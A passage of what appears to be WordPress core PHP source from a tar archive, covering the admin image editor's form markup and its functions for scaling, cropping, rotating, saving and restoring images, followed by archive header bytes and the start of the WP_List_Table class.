		<input type="hidden" id="imgedit-y-<?php echo $post_id; ?>" value="<?php echo isset( $meta['height'] ) ? $meta['height'] : 0; ?>" />

<div id="imgedit-crop-<?php echo $post_id; ?>" class="imgedit-crop-wrap">
		<img id="image-preview-<?php echo $post_id; ?>" onload="imageEdit.imgLoaded('<?php echo $post_id; ?>')" src="<?php echo admin_url( 'admin-ajax.php', 'relative' ); ?>?action=imgedit-preview&amp;_ajax_nonce=<?php echo $nonce; ?>&amp;postid=<?php echo $post_id; ?>&amp;rand=<?php echo rand( 1, 99999 ); ?>" alt="" />
		</div>

<div class="imgedit-submit">
			<input type="button" onclick="imageEdit.close(<?php echo $post_id; ?>, 1)" class="button imgedit-cancel-btn" value="<?php esc_attr_e( 'Cancel' ); ?>" />
			<input type="button" onclick="imageEdit.save(<?php echo "$post_id, '$nonce'"; ?>)" disabled="disabled" class="button button-primary imgedit-submit-btn" value="<?php esc_attr_e( 'Save' ); ?>" />
		</div>
	</div>

<div class="imgedit-settings">
	<div class="imgedit-group">
	<div class="imgedit-group-top">
		<h2><?php _e( 'Scale Image' ); ?></h2>
		<button type="button" class="dashicons dashicons-editor-help imgedit-help-toggle" onclick="imageEdit.toggleHelp(this);" aria-expanded="false"><span class="screen-reader-text"><?php esc_html_e( 'Scale Image Help' ); ?></span></button>
		<div class="imgedit-help">
		<p><?php _e( 'You can proportionally scale the original image. For best results, scaling should be done before you crop, flip, or rotate. Images can only be scaled down, not up.' ); ?></p>
		</div>
		<?php if ( isset( $meta['width'], $meta['height'] ) ) : ?>
		<p>
			<?php
			printf(
				/* translators: %s: Image width and height in pixels. */
				__( 'Original dimensions %s' ),
				'<span class="imgedit-original-dimensions">' . $meta['width'] . ' &times; ' . $meta['height'] . '</span>'
			);
			?>
		</p>
		<?php endif ?>
		<div class="imgedit-submit">

<fieldset class="imgedit-scale">
		<legend><?php _e( 'New dimensions:' ); ?></legend>
		<div class="nowrap">
		<label for="imgedit-scale-width-<?php echo $post_id; ?>" class="screen-reader-text"><?php _e( 'scale width' ); ?></label>
		<input type="text" id="imgedit-scale-width-<?php echo $post_id; ?>" onkeyup="imageEdit.scaleChanged(<?php echo $post_id; ?>, 1, this)" onblur="imageEdit.scaleChanged(<?php echo $post_id; ?>, 1, this)" value="<?php echo isset( $meta['width'] ) ? $meta['width'] : 0; ?>" />
		<span class="imgedit-separator" aria-hidden="true">&times;</span>
		<label for="imgedit-scale-height-<?php echo $post_id; ?>" class="screen-reader-text"><?php _e( 'scale height' ); ?></label>
		<input type="text" id="imgedit-scale-height-<?php echo $post_id; ?>" onkeyup="imageEdit.scaleChanged(<?php echo $post_id; ?>, 0, this)" onblur="imageEdit.scaleChanged(<?php echo $post_id; ?>, 0, this)" value="<?php echo isset( $meta['height'] ) ? $meta['height'] : 0; ?>" />
		<span class="imgedit-scale-warn" id="imgedit-scale-warn-<?php echo $post_id; ?>">!</span>
		<div class="imgedit-scale-button-wrapper"><input id="imgedit-scale-button" type="button" onclick="imageEdit.action(<?php echo "$post_id, '$nonce'"; ?>, 'scale')" class="button button-primary" value="<?php esc_attr_e( 'Scale' ); ?>" /></div>
		</div>
		</fieldset>

</div>
	</div>
	</div>

<?php if ( $can_restore ) { ?>

<div class="imgedit-group">
	<div class="imgedit-group-top">
		<h2><button type="button" onclick="imageEdit.toggleHelp(this);" class="button-link" aria-expanded="false"><?php _e( 'Restore original image' ); ?> <span class="dashicons dashicons-arrow-down imgedit-help-toggle"></span></button></h2>
		<div class="imgedit-help imgedit-restore">
		<p>
			<?php
			_e( 'Discard any changes and restore the original image.' );

if ( ! defined( 'IMAGE_EDIT_OVERWRITE' ) || ! IMAGE_EDIT_OVERWRITE ) {
				echo ' ' . __( 'Previously edited copies of the image will not be deleted.' );
			}
			?>
		</p>
		<div class="imgedit-submit">
		<input type="button" onclick="imageEdit.action(<?php echo "$post_id, '$nonce'"; ?>, 'restore')" class="button button-primary" value="<?php esc_attr_e( 'Restore image' ); ?>" <?php echo $can_restore; ?> />
		</div>
		</div>
	</div>
	</div>

<?php } ?>

<fieldset class="imgedit-crop-ratio">
		<legend><?php _e( 'Aspect ratio:' ); ?></legend>
		<div class="nowrap">
		<label for="imgedit-crop-width-<?php echo $post_id; ?>" class="screen-reader-text"><?php _e( 'crop ratio width' ); ?></label>
		<input type="text" id="imgedit-crop-width-<?php echo $post_id; ?>" onkeyup="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 0, this)" onblur="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 0, this)" />
		<span class="imgedit-separator" aria-hidden="true">:</span>
		<label for="imgedit-crop-height-<?php echo $post_id; ?>" class="screen-reader-text"><?php _e( 'crop ratio height' ); ?></label>
		<input type="text" id="imgedit-crop-height-<?php echo $post_id; ?>" onkeyup="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 1, this)" onblur="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 1, this)" />
		</div>
	</fieldset>

<fieldset id="imgedit-crop-sel-<?php echo $post_id; ?>" class="imgedit-crop-sel">
		<legend><?php _e( 'Selection:' ); ?></legend>
		<div class="nowrap">
		<label for="imgedit-sel-width-<?php echo $post_id; ?>" class="screen-reader-text"><?php _e( 'selection width' ); ?></label>
		<input type="text" id="imgedit-sel-width-<?php echo $post_id; ?>" onkeyup="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" onblur="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" />
		<span class="imgedit-separator" aria-hidden="true">&times;</span>
		<label for="imgedit-sel-height-<?php echo $post_id; ?>" class="screen-reader-text"><?php _e( 'selection height' ); ?></label>
		<input type="text" id="imgedit-sel-height-<?php echo $post_id; ?>" onkeyup="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" onblur="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" />
		</div>
	</fieldset>

</div>

<?php
	if ( $thumb && $sub_sizes ) {
		$thumb_img = wp_constrain_dimensions( $thumb['width'], $thumb['height'], 160, 120 );
		?>

<figure class="imgedit-thumbnail-preview">
		<img src="<?php echo $thumb['url']; ?>" width="<?php echo $thumb_img[0]; ?>" height="<?php echo $thumb_img[1]; ?>" class="imgedit-size-preview" alt="" draggable="false" />
		<figcaption class="imgedit-thumbnail-preview-caption"><?php _e( 'Current thumbnail' ); ?></figcaption>
	</figure>

<div id="imgedit-save-target-<?php echo $post_id; ?>" class="imgedit-save-target">
	<fieldset>
		<legend><?php _e( 'Apply changes to:' ); ?></legend>

<span class="imgedit-label">
			<input type="radio" id="imgedit-target-all" name="imgedit-target-<?php echo $post_id; ?>" value="all" checked="checked" />
			<label for="imgedit-target-all"><?php _e( 'All image sizes' ); ?></label>
		</span>

<span class="imgedit-label">
			<input type="radio" id="imgedit-target-thumbnail" name="imgedit-target-<?php echo $post_id; ?>" value="thumbnail" />
			<label for="imgedit-target-thumbnail"><?php _e( 'Thumbnail' ); ?></label>
		</span>

<span class="imgedit-label">
			<input type="radio" id="imgedit-target-nothumb" name="imgedit-target-<?php echo $post_id; ?>" value="nothumb" />
			<label for="imgedit-target-nothumb"><?php _e( 'All sizes except thumbnail' ); ?></label>
		</span>
	</fieldset>
	</div>
	</div>

<?php } ?>

</div>

</div>
	<div class="imgedit-wait" id="imgedit-wait-<?php echo $post_id; ?>"></div>
	<div class="hidden" id="imgedit-leaving-<?php echo $post_id; ?>"><?php _e( "There are unsaved changes that will be lost. 'OK' to continue, 'Cancel' to return to the Image Editor." ); ?></div>
	</div>
	<?php
}

/**
 * Streams image in WP_Image_Editor to browser.
 *
 * @since 2.9.0
 *
 * @param WP_Image_Editor $image         The image editor instance.
 * @param string          $mime_type     The mime type of the image.
 * @param int             $attachment_id The image's attachment post ID.
 * @return bool True on success, false on failure.
 */
function wp_stream_image( $image, $mime_type, $attachment_id ) {
	if ( $image instanceof WP_Image_Editor ) {

/**
		 * Filters the WP_Image_Editor instance for the image to be streamed to the browser.
		 *
		 * @since 3.5.0
		 *
		 * @param WP_Image_Editor $image         The image editor instance.
		 * @param int             $attachment_id The attachment post ID.
		 */
		$image = apply_filters( 'image_editor_save_pre', $image, $attachment_id );

if ( is_wp_error( $image->stream( $mime_type ) ) ) {
			return false;
		}

return true;
	} else {
		/* translators: 1: $image, 2: WP_Image_Editor */
		_deprecated_argument( __FUNCTION__, '3.5.0', sprintf( __( '%1$s needs to be a %2$s object.' ), '$image', 'WP_Image_Editor' ) );

/**
		 * Filters the GD image resource to be streamed to the browser.
		 *
		 * @since 2.9.0
		 * @deprecated 3.5.0 Use {@see 'image_editor_save_pre'} instead.
		 *
		 * @param resource $image         Image resource to be streamed.
		 * @param int      $attachment_id The attachment post ID.
		 */
		$image = apply_filters_deprecated( 'image_save_pre', array( $image, $attachment_id ), '3.5.0', 'image_editor_save_pre' );

switch ( $mime_type ) {
			case 'image/jpeg':
				header( 'Content-Type: image/jpeg' );
				return imagejpeg( $image, null, 90 );
			case 'image/png':
				header( 'Content-Type: image/png' );
				return imagepng( $image );
			case 'image/gif':
				header( 'Content-Type: image/gif' );
				return imagegif( $image );
			default:
				return false;
		}
	}
}

/**
 * Saves image to file.
 *
 * @since 2.9.0
 *
 * @param string          $filename  Name of the file to be saved.
 * @param WP_Image_Editor $image     The image editor instance.
 * @param string          $mime_type The mime type of the image.
 * @param int             $post_id   Attachment post ID.
 * @return bool True on success, false on failure.
 */
function wp_save_image_file( $filename, $image, $mime_type, $post_id ) {
	if ( $image instanceof WP_Image_Editor ) {

/** This filter is documented in wp-admin/includes/image-edit.php */
		$image = apply_filters( 'image_editor_save_pre', $image, $post_id );

/**
		 * Filters whether to skip saving the image file.
		 *
		 * Returning a non-null value will short-circuit the save method,
		 * returning that value instead.
		 *
		 * @since 3.5.0
		 *
		 * @param bool|null       $override  Value to return instead of saving. Default null.
		 * @param string          $filename  Name of the file to be saved.
		 * @param WP_Image_Editor $image     The image editor instance.
		 * @param string          $mime_type The mime type of the image.
		 * @param int             $post_id   Attachment post ID.
		 */
		$saved = apply_filters( 'wp_save_image_editor_file', null, $filename, $image, $mime_type, $post_id );

if ( null !== $saved ) {
			return $saved;
		}

return $image->save( $filename, $mime_type );
	} else {
		/* translators: 1: $image, 2: WP_Image_Editor */
		_deprecated_argument( __FUNCTION__, '3.5.0', sprintf( __( '%1$s needs to be a %2$s object.' ), '$image', 'WP_Image_Editor' ) );

/** This filter is documented in wp-admin/includes/image-edit.php */
		$image = apply_filters_deprecated( 'image_save_pre', array( $image, $post_id ), '3.5.0', 'image_editor_save_pre' );

/**
		 * Filters whether to skip saving the image file.
		 *
		 * Returning a non-null value will short-circuit the save method,
		 * returning that value instead.
		 *
		 * @since 2.9.0
		 * @deprecated 3.5.0 Use {@see 'wp_save_image_editor_file'} instead.
		 *
		 * @param mixed           $override  Value to return instead of saving. Default null.
		 * @param string          $filename  Name of the file to be saved.
		 * @param WP_Image_Editor $image     The image editor instance.
		 * @param string          $mime_type The mime type of the image.
		 * @param int             $post_id   Attachment post ID.
		 */
		$saved = apply_filters_deprecated(
			'wp_save_image_file',
			array( null, $filename, $image, $mime_type, $post_id ),
			'3.5.0',
			'wp_save_image_editor_file'
		);

if ( null !== $saved ) {
			return $saved;
		}

switch ( $mime_type ) {
			case 'image/jpeg':
				/** This filter is documented in wp-includes/class-wp-image-editor.php */
				return imagejpeg( $image, $filename, apply_filters( 'jpeg_quality', 90, 'edit_image' ) );
			case 'image/png':
				return imagepng( $image, $filename );
			case 'image/gif':
				return imagegif( $image, $filename );
			default:
				return false;
		}
	}
}

/**
 * Image preview ratio. Internal use only.
 *
 * @since 2.9.0
 *
 * @ignore
 * @param int $w Image width in pixels.
 * @param int $h Image height in pixels.
 * @return float|int Image preview ratio.
 */
function _image_get_preview_ratio( $w, $h ) {
	$max = max( $w, $h );
	return $max > 400 ? ( 400 / $max ) : 1;
}

/**
 * Returns an image resource. Internal use only.
 *
 * @since 2.9.0
 * @deprecated 3.5.0 Use WP_Image_Editor::rotate()
 * @see WP_Image_Editor::rotate()
 *
 * @ignore
 * @param resource  $img   Image resource.
 * @param float|int $angle Image rotation angle, in degrees.
 * @return resource|false GD image resource, false otherwise.
 */
function _rotate_image_resource( $img, $angle ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'WP_Image_Editor::rotate()' );
	if ( function_exists( 'imagerotate' ) ) {
		$rotated = imagerotate( $img, $angle, 0 );
		if ( is_resource( $rotated ) ) {
			imagedestroy( $img );
			$img = $rotated;
		}
	}
	return $img;
}

/**
 * Flips an image resource. Internal use only.
 *
 * @since 2.9.0
 * @deprecated 3.5.0 Use WP_Image_Editor::flip()
 * @see WP_Image_Editor::flip()
 *
 * @ignore
 * @param resource $img  Image resource.
 * @param bool     $horz Whether to flip horizontally.
 * @param bool     $vert Whether to flip vertically.
 * @return resource (maybe) flipped image resource.
 */
function _flip_image_resource( $img, $horz, $vert ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'WP_Image_Editor::flip()' );
	$w   = imagesx( $img );
	$h   = imagesy( $img );
	$dst = wp_imagecreatetruecolor( $w, $h );
	if ( is_resource( $dst ) ) {
		$sx = $vert ? ( $w - 1 ) : 0;
		$sy = $horz ? ( $h - 1 ) : 0;
		$sw = $vert ? -$w : $w;
		$sh = $horz ? -$h : $h;

if ( imagecopyresampled( $dst, $img, 0, 0, $sx, $sy, $w, $h, $sw, $sh ) ) {
			imagedestroy( $img );
			$img = $dst;
		}
	}
	return $img;
}

/**
 * Crops an image resource. Internal use only.
 *
 * @since 2.9.0
 *
 * @ignore
 * @param resource $img Image resource.
 * @param float    $x   Source point x-coordinate.
 * @param float    $y   Source point y-coordinate.
 * @param float    $w   Source width.
 * @param float    $h   Source height.
 * @return resource (maybe) cropped image resource.
 */
function _crop_image_resource( $img, $x, $y, $w, $h ) {
	$dst = wp_imagecreatetruecolor( $w, $h );
	if ( is_resource( $dst ) ) {
		if ( imagecopy( $dst, $img, 0, 0, $x, $y, $w, $h ) ) {
			imagedestroy( $img );
			$img = $dst;
		}
	}
	return $img;
}

/**
 * Performs group of changes on Editor specified.
 *
 * @since 2.9.0
 *
 * @param WP_Image_Editor $image   WP_Image_Editor instance.
 * @param array           $changes Array of change operations.
 * @return WP_Image_Editor WP_Image_Editor instance with changes applied.
 */
function image_edit_apply_changes( $image, $changes ) {
	if ( is_resource( $image ) ) {
		/* translators: 1: $image, 2: WP_Image_Editor */
		_deprecated_argument( __FUNCTION__, '3.5.0', sprintf( __( '%1$s needs to be a %2$s object.' ), '$image', 'WP_Image_Editor' ) );
	}

if ( ! is_array( $changes ) ) {
		return $image;
	}

// Expand change operations.
	foreach ( $changes as $key => $obj ) {
		if ( isset( $obj->r ) ) {
			$obj->type  = 'rotate';
			$obj->angle = $obj->r;
			unset( $obj->r );
		} elseif ( isset( $obj->f ) ) {
			$obj->type = 'flip';
			$obj->axis = $obj->f;
			unset( $obj->f );
		} elseif ( isset( $obj->c ) ) {
			$obj->type = 'crop';
			$obj->sel  = $obj->c;
			unset( $obj->c );
		}
		$changes[ $key ] = $obj;
	}

// Combine operations.
	if ( count( $changes ) > 1 ) {
		$filtered = array( $changes[0] );
		for ( $i = 0, $j = 1, $c = count( $changes ); $j < $c; $j++ ) {
			$combined = false;
			if ( $filtered[ $i ]->type == $changes[ $j ]->type ) {
				switch ( $filtered[ $i ]->type ) {
					case 'rotate':
						$filtered[ $i ]->angle += $changes[ $j ]->angle;
						$combined               = true;
						break;
					case 'flip':
						$filtered[ $i ]->axis ^= $changes[ $j ]->axis;
						$combined              = true;
						break;
				}
			}
			if ( ! $combined ) {
				$filtered[ ++$i ] = $changes[ $j ];
			}
		}
		$changes = $filtered;
		unset( $filtered );
	}

// Image resource before applying the changes.
	if ( $image instanceof WP_Image_Editor ) {

/**
		 * Filters the WP_Image_Editor instance before applying changes to the image.
		 *
		 * @since 3.5.0
		 *
		 * @param WP_Image_Editor $image   WP_Image_Editor instance.
		 * @param array           $changes Array of change operations.
		 */
		$image = apply_filters( 'wp_image_editor_before_change', $image, $changes );
	} elseif ( is_resource( $image ) ) {

/**
		 * Filters the GD image resource before applying changes to the image.
		 *
		 * @since 2.9.0
		 * @deprecated 3.5.0 Use {@see 'wp_image_editor_before_change'} instead.
		 *
		 * @param resource $image   GD image resource.
		 * @param array    $changes Array of change operations.
		 */
		$image = apply_filters_deprecated( 'image_edit_before_change', array( $image, $changes ), '3.5.0', 'wp_image_editor_before_change' );
	}

foreach ( $changes as $operation ) {
		switch ( $operation->type ) {
			case 'rotate':
				if ( 0 != $operation->angle ) {
					if ( $image instanceof WP_Image_Editor ) {
						$image->rotate( $operation->angle );
					} else {
						$image = _rotate_image_resource( $image, $operation->angle );
					}
				}
				break;
			case 'flip':
				if ( 0 != $operation->axis ) {
					if ( $image instanceof WP_Image_Editor ) {
						$image->flip( ( $operation->axis & 1 ) != 0, ( $operation->axis & 2 ) != 0 );
					} else {
						$image = _flip_image_resource( $image, ( $operation->axis & 1 ) != 0, ( $operation->axis & 2 ) != 0 );
					}
				}
				break;
			case 'crop':
				$sel = $operation->sel;

if ( $image instanceof WP_Image_Editor ) {
					$size = $image->get_size();
					$w    = $size['width'];
					$h    = $size['height'];

$scale = 1 / _image_get_preview_ratio( $w, $h ); // Discard preview scaling.
					$image->crop( $sel->x * $scale, $sel->y * $scale, $sel->w * $scale, $sel->h * $scale );
				} else {
					$scale = 1 / _image_get_preview_ratio( imagesx( $image ), imagesy( $image ) ); // Discard preview scaling.
					$image = _crop_image_resource( $image, $sel->x * $scale, $sel->y * $scale, $sel->w * $scale, $sel->h * $scale );
				}
				break;
		}
	}

return $image;
}

/**
 * Streams image in post to browser, along with enqueued changes
 * in `$_REQUEST['history']`.
 *
 * @since 2.9.0
 *
 * @param int $post_id Attachment post ID.
 * @return bool True on success, false on failure.
 */
function stream_preview_image( $post_id ) {
	$post = get_post( $post_id );

wp_raise_memory_limit( 'admin' );

$img = wp_get_image_editor( _load_image_to_edit_path( $post_id ) );

if ( is_wp_error( $img ) ) {
		return false;
	}

$changes = ! empty( $_REQUEST['history'] ) ? json_decode( wp_unslash( $_REQUEST['history'] ) ) : null;
	if ( $changes ) {
		$img = image_edit_apply_changes( $img, $changes );
	}

// Scale the image.
	$size = $img->get_size();
	$w    = $size['width'];
	$h    = $size['height'];

$ratio = _image_get_preview_ratio( $w, $h );
	$w2    = max( 1, $w * $ratio );
	$h2    = max( 1, $h * $ratio );

if ( is_wp_error( $img->resize( $w2, $h2 ) ) ) {
		return false;
	}

return wp_stream_image( $img, $post->post_mime_type, $post_id );
}

/**
 * Restores the metadata for a given attachment.
 *
 * @since 2.9.0
 *
 * @param int $post_id Attachment post ID.
 * @return stdClass Image restoration message object.
 */
function wp_restore_image( $post_id ) {
	$meta             = wp_get_attachment_metadata( $post_id );
	$file             = get_attached_file( $post_id );
	$backup_sizes     = get_post_meta( $post_id, '_wp_attachment_backup_sizes', true );
	$old_backup_sizes = $backup_sizes;
	$restored         = false;
	$msg              = new stdClass;

if ( ! is_array( $backup_sizes ) ) {
		$msg->error = __( 'Cannot load image metadata.' );
		return $msg;
	}

$parts         = pathinfo( $file );
	$suffix        = time() . rand( 100, 999 );
	$default_sizes = get_intermediate_image_sizes();

if ( isset( $backup_sizes['full-orig'] ) && is_array( $backup_sizes['full-orig'] ) ) {
		$data = $backup_sizes['full-orig'];

if ( $parts['basename'] != $data['file'] ) {
			if ( defined( 'IMAGE_EDIT_OVERWRITE' ) && IMAGE_EDIT_OVERWRITE ) {

// Delete only if it's an edited image.
				if ( preg_match( '/-e[0-9]{13}\./', $parts['basename'] ) ) {
					wp_delete_file( $file );
				}
			} elseif ( isset( $meta['width'], $meta['height'] ) ) {
				$backup_sizes[ "full-$suffix" ] = array(
					'width'  => $meta['width'],
					'height' => $meta['height'],
					'file'   => $parts['basename'],
				);
			}
		}

$restored_file = path_join( $parts['dirname'], $data['file'] );
		$restored      = update_attached_file( $post_id, $restored_file );

$meta['file']   = _wp_relative_upload_path( $restored_file );
		$meta['width']  = $data['width'];
		$meta['height'] = $data['height'];
	}

foreach ( $default_sizes as $default_size ) {
		if ( isset( $backup_sizes[ "$default_size-orig" ] ) ) {
			$data = $backup_sizes[ "$default_size-orig" ];
			if ( isset( $meta['sizes'][ $default_size ] ) && $meta['sizes'][ $default_size ]['file'] != $data['file'] ) {
				if ( defined( 'IMAGE_EDIT_OVERWRITE' ) && IMAGE_EDIT_OVERWRITE ) {

// Delete only if it's an edited image.
					if ( preg_match( '/-e[0-9]{13}-/', $meta['sizes'][ $default_size ]['file'] ) ) {
						$delete_file = path_join( $parts['dirname'], $meta['sizes'][ $default_size ]['file'] );
						wp_delete_file( $delete_file );
					}
				} else {
					$backup_sizes[ "$default_size-{$suffix}" ] = $meta['sizes'][ $default_size ];
				}
			}

$meta['sizes'][ $default_size ] = $data;
		} else {
			unset( $meta['sizes'][ $default_size ] );
		}
	}

if ( ! wp_update_attachment_metadata( $post_id, $meta ) ||
		( $old_backup_sizes !== $backup_sizes && ! update_post_meta( $post_id, '_wp_attachment_backup_sizes', $backup_sizes ) ) ) {

$msg->error = __( 'Cannot save image metadata.' );
		return $msg;
	}

if ( ! $restored ) {
		$msg->error = __( 'Image metadata is inconsistent.' );
	} else {
		$msg->msg = __( 'Image restored successfully.' );
	}

return $msg;
}

/**
 * Saves image to post, along with enqueued changes
 * in `$_REQUEST['history']`.
 *
 * @since 2.9.0
 *
 * @param int $post_id Attachment post ID.
 * @return stdClass
 */
function wp_save_image( $post_id ) {
	$_wp_additional_image_sizes = wp_get_additional_image_sizes();

$return  = new stdClass;
	$success = false;
	$delete  = false;
	$scaled  = false;
	$nocrop  = false;
	$post    = get_post( $post_id );

$img = wp_get_image_editor( _load_image_to_edit_path( $post_id, 'full' ) );
	if ( is_wp_error( $img ) ) {
		$return->error = esc_js( __( 'Unable to create new image.' ) );
		return $return;
	}

$fwidth  = ! empty( $_REQUEST['fwidth'] ) ? intval( $_REQUEST['fwidth'] ) : 0;
	$fheight = ! empty( $_REQUEST['fheight'] ) ? intval( $_REQUEST['fheight'] ) : 0;
	$target  = ! empty( $_REQUEST['target'] ) ? preg_replace( '/[^a-z0-9_-]+/i', '', $_REQUEST['target'] ) : '';
	$scale   = ! empty( $_REQUEST['do'] ) && 'scale' === $_REQUEST['do'];

if ( $scale && $fwidth > 0 && $fheight > 0 ) {
		$size = $img->get_size();
		$sX   = $size['width'];
		$sY   = $size['height'];

// Check if it has roughly the same w / h ratio.
		$diff = round( $sX / $sY, 2 ) - round( $fwidth / $fheight, 2 );
		if ( -0.1 < $diff && $diff < 0.1 ) {
			// Scale the full size image.
			if ( $img->resize( $fwidth, $fheight ) ) {
				$scaled = true;
			}
		}

if ( ! $scaled ) {
			$return->error = esc_js( __( 'Error while saving the scaled image. Please reload the page and try again.' ) );
			return $return;
		}
	} elseif ( ! empty( $_REQUEST['history'] ) ) {
		$changes = json_decode( wp_unslash( $_REQUEST['history'] ) );
		if ( $changes ) {
			$img = image_edit_apply_changes( $img, $changes );
		}
	} else {
		$return->error = esc_js( __( 'Nothing to save, the image has not changed.' ) );
		return $return;
	}

$meta         = wp_get_attachment_metadata( $post_id );
	$backup_sizes = get_post_meta( $post->ID, '_wp_attachment_backup_sizes', true );

if ( ! is_array( $meta ) ) {
		$return->error = esc_js( __( 'Image data does not exist. Please re-upload the image.' ) );
		return $return;
	}

if ( ! is_array( $backup_sizes ) ) {
		$backup_sizes = array();
	}

// Generate new filename.
	$path = get_attached_file( $post_id );

$basename = pathinfo( $path, PATHINFO_BASENAME );
	$dirname  = pathinfo( $path, PATHINFO_DIRNAME );
	$ext      = pathinfo( $path, PATHINFO_EXTENSION );
	$filename = pathinfo( $path, PATHINFO_FILENAME );
	$suffix   = time() . rand( 100, 999 );

if ( defined( 'IMAGE_EDIT_OVERWRITE' ) && IMAGE_EDIT_OVERWRITE &&
		isset( $backup_sizes['full-orig'] ) && $backup_sizes['full-orig']['file'] != $basename ) {

if ( 'thumbnail' === $target ) {
			$new_path = "{$dirname}/{$filename}-temp.{$ext}";
		} else {
			$new_path = $path;
		}
	} else {
		while ( true ) {
			$filename     = preg_replace( '/-e([0-9]+)$/', '', $filename );
			$filename    .= "-e{$suffix}";
			$new_filename = "{$filename}.{$ext}";
			$new_path     = "{$dirname}/$new_filename";
			if ( file_exists( $new_path ) ) {
				$suffix++;
			} else {
				break;
			}
		}
	}

// Save the full-size file, also needed to create sub-sizes.
	if ( ! wp_save_image_file( $new_path, $img, $post->post_mime_type, $post_id ) ) {
		$return->error = esc_js( __( 'Unable to save the image.' ) );
		return $return;
	}

if ( 'nothumb' === $target || 'all' === $target || 'full' === $target || $scaled ) {
		$tag = false;
		if ( isset( $backup_sizes['full-orig'] ) ) {
			if ( ( ! defined( 'IMAGE_EDIT_OVERWRITE' ) || ! IMAGE_EDIT_OVERWRITE ) && $backup_sizes['full-orig']['file'] !== $basename ) {
				$tag = "full-$suffix";
			}
		} else {
			$tag = 'full-orig';
		}

if ( $tag ) {
			$backup_sizes[ $tag ] = array(
				'width'  => $meta['width'],
				'height' => $meta['height'],
				'file'   => $basename,
			);
		}
		$success = ( $path === $new_path ) || update_attached_file( $post_id, $new_path );

$meta['file'] = _wp_relative_upload_path( $new_path );

$size           = $img->get_size();
		$meta['width']  = $size['width'];
		$meta['height'] = $size['height'];

if ( $success && ( 'nothumb' === $target || 'all' === $target ) ) {
			$sizes = get_intermediate_image_sizes();
			if ( 'nothumb' === $target ) {
				$sizes = array_diff( $sizes, array( 'thumbnail' ) );
			}
		}

$return->fw = $meta['width'];
		$return->fh = $meta['height'];
	} elseif ( 'thumbnail' === $target ) {
		$sizes   = array( 'thumbnail' );
		$success = true;
		$delete  = true;
		$nocrop  = true;
	}

/*
	 * We need to remove any existing resized image files because
	 * a new crop or rotate could generate different sizes (and hence, filenames),
	 * keeping the new resized images from overwriting the existing image files.
	 * https://core.trac.wordpress.org/ticket/32171
	 */
	if ( defined( 'IMAGE_EDIT_OVERWRITE' ) && IMAGE_EDIT_OVERWRITE && ! empty( $meta['sizes'] ) ) {
		foreach ( $meta['sizes'] as $size ) {
			if ( ! empty( $size['file'] ) && preg_match( '/-e[0-9]{13}-/', $size['file'] ) ) {
				$delete_file = path_join( $dirname, $size['file'] );
				wp_delete_file( $delete_file );
			}
		}
	}

if ( isset( $sizes ) ) {
		$_sizes = array();

foreach ( $sizes as $size ) {
			$tag = false;
			if ( isset( $meta['sizes'][ $size ] ) ) {
				if ( isset( $backup_sizes[ "$size-orig" ] ) ) {
					if ( ( ! defined( 'IMAGE_EDIT_OVERWRITE' ) || ! IMAGE_EDIT_OVERWRITE ) && $backup_sizes[ "$size-orig" ]['file'] != $meta['sizes'][ $size ]['file'] ) {
						$tag = "$size-$suffix";
					}
				} else {
					$tag = "$size-orig";
				}

if ( $tag ) {
					$backup_sizes[ $tag ] = $meta['sizes'][ $size ];
				}
			}

if ( isset( $_wp_additional_image_sizes[ $size ] ) ) {
				$width  = intval( $_wp_additional_image_sizes[ $size ]['width'] );
				$height = intval( $_wp_additional_image_sizes[ $size ]['height'] );
				$crop   = ( $nocrop ) ? false : $_wp_additional_image_sizes[ $size ]['crop'];
			} else {
				$height = get_option( "{$size}_size_h" );
				$width  = get_option( "{$size}_size_w" );
				$crop   = ( $nocrop ) ? false : get_option( "{$size}_crop" );
			}

$_sizes[ $size ] = array(
				'width'  => $width,
				'height' => $height,
				'crop'   => $crop,
			);
		}

$meta['sizes'] = array_merge( $meta['sizes'], $img->multi_resize( $_sizes ) );
	}

unset( $img );

if ( $success ) {
		wp_update_attachment_metadata( $post_id, $meta );
		update_post_meta( $post_id, '_wp_attachment_backup_sizes', $backup_sizes );

if ( 'thumbnail' === $target || 'all' === $target || 'full' === $target ) {
			// Check if it's an image edit from attachment edit screen.
			if ( ! empty( $_REQUEST['context'] ) && 'edit-attachment' === $_REQUEST['context'] ) {
				$thumb_url         = wp_get_attachment_image_src( $post_id, array( 900, 600 ), true );
				$return->thumbnail = $thumb_url[0];
			} else {
				$file_url = wp_get_attachment_url( $post_id );
				if ( ! empty( $meta['sizes']['thumbnail'] ) ) {
					$thumb             = $meta['sizes']['thumbnail'];
					$return->thumbnail = path_join( dirname( $file_url ), $thumb['file'] );
				} else {
					$return->thumbnail = "$file_url?w=128&h=128";
				}
			}
		}
	} else {
		$delete = true;
	}

if ( $delete ) {
		wp_delete_file( $new_path );
	}

$return->msg = esc_js( __( 'Image saved' ) );
	return $return;
}
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-list-table.php�����������������������������������������������������������������������������0000604�����������������00000116013�15075125354�0011051 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Administration API: WP_List_Table class
 *
 * @package WordPress
 * @subpackage List_Table
 * @since 3.1.0
 */

/**
 * Base class for displaying a list of items in an ajaxified HTML table.
 *
 * @since 3.1.0
 * @access private
 */
class WP_List_Table {

/**
	 * The current list of items.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	public $items;

/**
	 * Various information about the current table.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	protected $_args;

/**
	 * Various information needed for displaying the pagination.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	protected $_pagination_args = array();

/**
	 * The current screen.
	 *
	 * @since 3.1.0
	 * @var object
	 */
	protected $screen;

/**
	 * Cached bulk actions.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	private $_actions;

/**
	 * Cached pagination output.
	 *
	 * @since 3.1.0
	 * @var string
	 */
	private $_pagination;

/**
